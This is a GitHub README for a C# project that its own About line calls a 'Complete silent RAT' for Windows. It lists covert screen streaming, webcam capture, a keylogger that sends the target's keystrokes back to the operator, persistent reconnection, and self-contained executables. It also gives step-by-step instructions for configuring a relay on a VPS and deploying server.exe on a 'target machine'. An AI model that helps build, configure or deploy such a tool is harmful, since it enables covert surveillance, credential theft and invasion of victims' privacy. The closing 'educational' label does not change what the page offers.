Skip to content

asidevil/C-Sharp-RAT-for-windows

Repository files navigation

VNC Remote Desktop System

A complete remote desktop solution with relay server, client, and server components for Windows.

Overview

This project provides a full-featured VNC (Virtual Network Computing) system that allows remote control of Windows machines through a WebSocket relay server. The system consists of three main components working together.

✨ Key Features

🖥️ Screen Sharing

  • Real-time screen sharing - Live screen capture and streaming from target machine at 45 FPS
  • Smooth rendering - Optimized frame rate for fluid screen updates
  • Automatic resolution detection - Adapts to target screen resolution automatically
  • High-quality display - JPEG encoding with compression for efficient transfer

📸 Screenshot Capture

  • On-demand screenshots - Capture screenshots instantly with F2 hotkey or button click
  • High-quality images - 95% JPEG quality for detailed screenshots
  • Automatic saving - Screenshots automatically saved to "Target Files" folder on client
  • Timestamped filenames - Each screenshot saved with date/time stamp (e.g., Screenshot_2024-01-15_14-30-45.jpg)

📹 Webcam/Camera Streaming

  • Live webcam feed - Real-time camera streaming from target machine
  • Multiple camera support - Automatically detects and uses available cameras
  • Separate camera window - Dedicated popup window for camera view
  • MJPEG streaming - Efficient streaming protocol at 15 FPS
  • Toggle control - Enable/disable camera with button or F4 hotkey

⌨️ Advanced Keylogger

  • Real-time keystroke logging - Captures all keyboard input on target machine
  • Text detection and buffering - Intelligently groups keystrokes into readable text
  • Timestamped entries - Each keystroke logged with precise timestamps
  • Special key recognition - Detects and logs special keys (Enter, Backspace, Tab, etc.)
  • Auto-save functionality - Keylogs automatically saved when logging stops
  • Toggle control - Start/stop keylogger with button or F3 hotkey
  • Saved to client - All keylogs saved to "Target Files" folder on your machine

🖱️ Mouse Control

  • Full mouse movement - Precise cursor positioning with coordinate conversion
  • Left/Right/Middle click support - Complete mouse button control
  • Click and drag - Support for mouse down, move, and release actions
  • Mouse toggle - Enable/disable mouse control with visual indicator (F1 hotkey)
  • Virtual mouse clicks - Click at specific coordinates without moving cursor (F5 hotkey)

⌨️ Keyboard Control

  • Complete keyboard input forwarding - All keys and key combinations supported
  • Modifier key support - Shift, Ctrl, Alt key combinations work correctly
  • Unicode character input - Full character set support including international characters
  • Real-time key transmission - Instant keyboard input with keydown/keyup events

🔧 Additional Features

  • Hotkey support - F1 (Mouse), F2 (Screenshot), F3 (Keylog), F4 (Camera), F5 (Virtual Mouse), ESC (Close)
  • Automatic reconnection - Auto-reconnects if connection is lost (up to 999 retries)
  • Memory optimization - Aggressive memory management for long-running sessions
  • Self-contained executables - No dependencies required on target machine
  • Multiple .NET version support - Compatible with .NET Framework 4.8 through .NET 9

⚠️ IMPORTANT: Configuration Required

Before compiling or using any component, you MUST configure the relay server connection:

  1. Edit client.cs - Replace "Your Relay IP" with your relay server IP address and 0 with your relay port number
  2. Edit server.cs - Replace "Your Relay IP" with your relay server IP address and 0 with your relay port number

Project Structure

🔴 Core Files (REQUIRED)

relay.py - CRITICAL: Relay Server

  • Purpose: Central WebSocket relay server that routes communication between client and server
  • Location: Run on your VPS or public server
  • Usage: python3 relay.py or python relay.py
  • Port: Default 8080 (configurable in the file)
  • Why Important: Without this running, client and server cannot communicate. This is the bridge between them.

client.cs - CRITICAL: Client Application

  • Purpose: Windows Forms GUI application that displays and controls the remote desktop
  • Compilation: Use ClientCompile.bat to compile on your development machine
  • Output: client.exe (run on your controller machine)
  • Why Important: This is what you use to view and control the remote machine. Must be compiled with your relay IP/port configured.

server.cs - CRITICAL: Server Application

  • Purpose: Runs on target machine, captures screen, handles input, sends data to relay
  • Compilation: Use ServerCompile.bat (for testing) or VTServerCompile.bat (for target deployment)
  • Output: server.exe (run on target Windows machine)
  • Why Important: This captures the screen and executes your commands on the target machine.

🟡 Compilation Scripts

ClientCompile.bat - IMPORTANT: Client Compiler

  • Purpose: Compiles client.cs to client.exe on your development machine
  • When to Use: When you need to build the client application
  • Requirements: .NET SDK installed on your machine
  • Output: Creates client.exe in the same directory
  • Why Important: You need this to create the client executable you'll use to connect.

ServerCompile.bat - IMPORTANT: Server Compiler (Testing)

  • Purpose: Compiles server.cs to server.exe for testing on your development machine
  • When to Use: For testing and development on your own machine
  • Requirements: .NET SDK installed on your machine
  • Output: Creates server.exe in the same directory
  • Why Important: Use this to test the server before deploying to target machines.

VTServerCompile.bat - IMPORTANT: Server Compiler (Target Deployment)

  • Purpose: Compiles server.cs to server.exe for deployment on target machines
  • When to Use: When you need to compile the server on or for the target machine
  • Requirements: .NET SDK or runtime on target machine
  • Output: Creates server.exe in the same directory
  • Why Important: This is the version you transfer to target machines to compile the server.

🟢 VTServerCompilers Folder - IMPORTANT: Alternative Compilers

This folder contains different compiler variations for different .NET versions:

VTServerCompilers/dotnet framework 4.8/VTServerCompile.bat

  • Purpose: Compiles for .NET Framework 4.8 (older Windows compatibility)
  • When to Use: For target machines with older Windows or only .NET Framework installed
  • Why Important: Maximum compatibility with older Windows systems

VTServerCompilers/dotnet 6/VTServerCompile.bat

  • Purpose: Compiles for .NET 6
  • When to Use: If target machine has .NET 6 installed
  • Why Important: Alternative if .NET 7/8 not available

VTServerCompilers/dotnet 7 tested/VTServerCompile.bat

  • Purpose: Compiles for .NET 7 (tested version)
  • When to Use: Recommended for .NET 7 environments
  • Why Important: Tested and verified working version

VTServerCompilers/dotnet 8 tested/VTServerCompile.bat

  • Purpose: Compiles for .NET 8 (tested version)
  • When to Use: Recommended for .NET 8 environments
  • Why Important: Latest tested version with performance improvements

VTServerCompilers/dotnet 9/VTServerCompile.bat

  • Purpose: Compiles for .NET 9
  • When to Use: For cutting-edge .NET 9 installations
  • Why Important: Latest .NET version support

Setup Instructions

Run relay on VPS > run server.exe on the target > run client.exe to connect

Step 1: Configure Relay Connection

  1. Open client.cs in a text editor

  2. Find: private const string RELAY_HOST = "Your Relay IP";

  3. Replace "Your Relay IP" with your actual relay server IP (e.g., "192.168.1.100")

  4. Find: private const int RELAY_PORT = 0;

  5. Replace 0 with your relay port number (e.g., 8080)

  6. Repeat steps 1-5 for server.cs

Step 2: Start Relay Server

python3 relay.py

The relay will start on 0.0.0.0:8080 (listens on all interfaces, port 8080).

Step 3: Compile Client

On your development machine:

ClientCompile.bat

This creates client.exe which you run on your controller machine.

Step 4: Compile Server

Option A - For Testing (on your machine):

ServerCompile.bat

Option B - For Target Deployment:

  1. Transfer server.cs and appropriate VTServerCompile.bat to target machine
  2. Run the VTServerCompile.bat on the target machine
  3. This creates server.exe on the target

Step 5: Run the System

  1. Start Relay: python3 relay.py (on VPS/server)
  2. Start Server: Run server.exe on target Windows machine
  3. Start Client: Run client.exe on your controller machine
  4. Control: Use the client GUI to view and control the remote desktop

Requirements

Relay Server

  • Python 3.x
  • websockets library: pip install websockets

Client

  • Windows operating system
  • .NET 7.0 or higher SDK (for compilation)
  • Compiled client.exe runs standalone

Server

  • Windows operating system
  • .NET 7.0+ SDK (for compilation) OR appropriate .NET runtime
  • Compiled server.exe runs standalone (self-contained)

File Summary

File Purpose When to Use
relay.py WebSocket relay server Always - must run on VPS/server
client.cs Client source code Compile to create client.exe
server.cs Server source code Compile to create server.exe
ClientCompile.bat Compile client When building client on dev machine
ServerCompile.bat Compile server (testing) When testing on your machine
VTServerCompile.bat Compile server (deployment) When compiling on target machine
VTServerCompilers/* Alternative compilers When target has different .NET version

Important Notes

  • Configure IP/Port: You MUST edit client.cs and server.cs before compilation
  • Relay First: Always start the relay server before client or server
  • Firewall: Ensure relay server port (default 8080) is open
  • Permissions: Server may need elevated permissions for some features
  • Network: Client and server must be able to reach the relay server

License

This project is provided as-is for educational and utility purposes.

About

Complete silent RAT with Screenshare/mouse and keyboard control/screenshots/keylogger

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors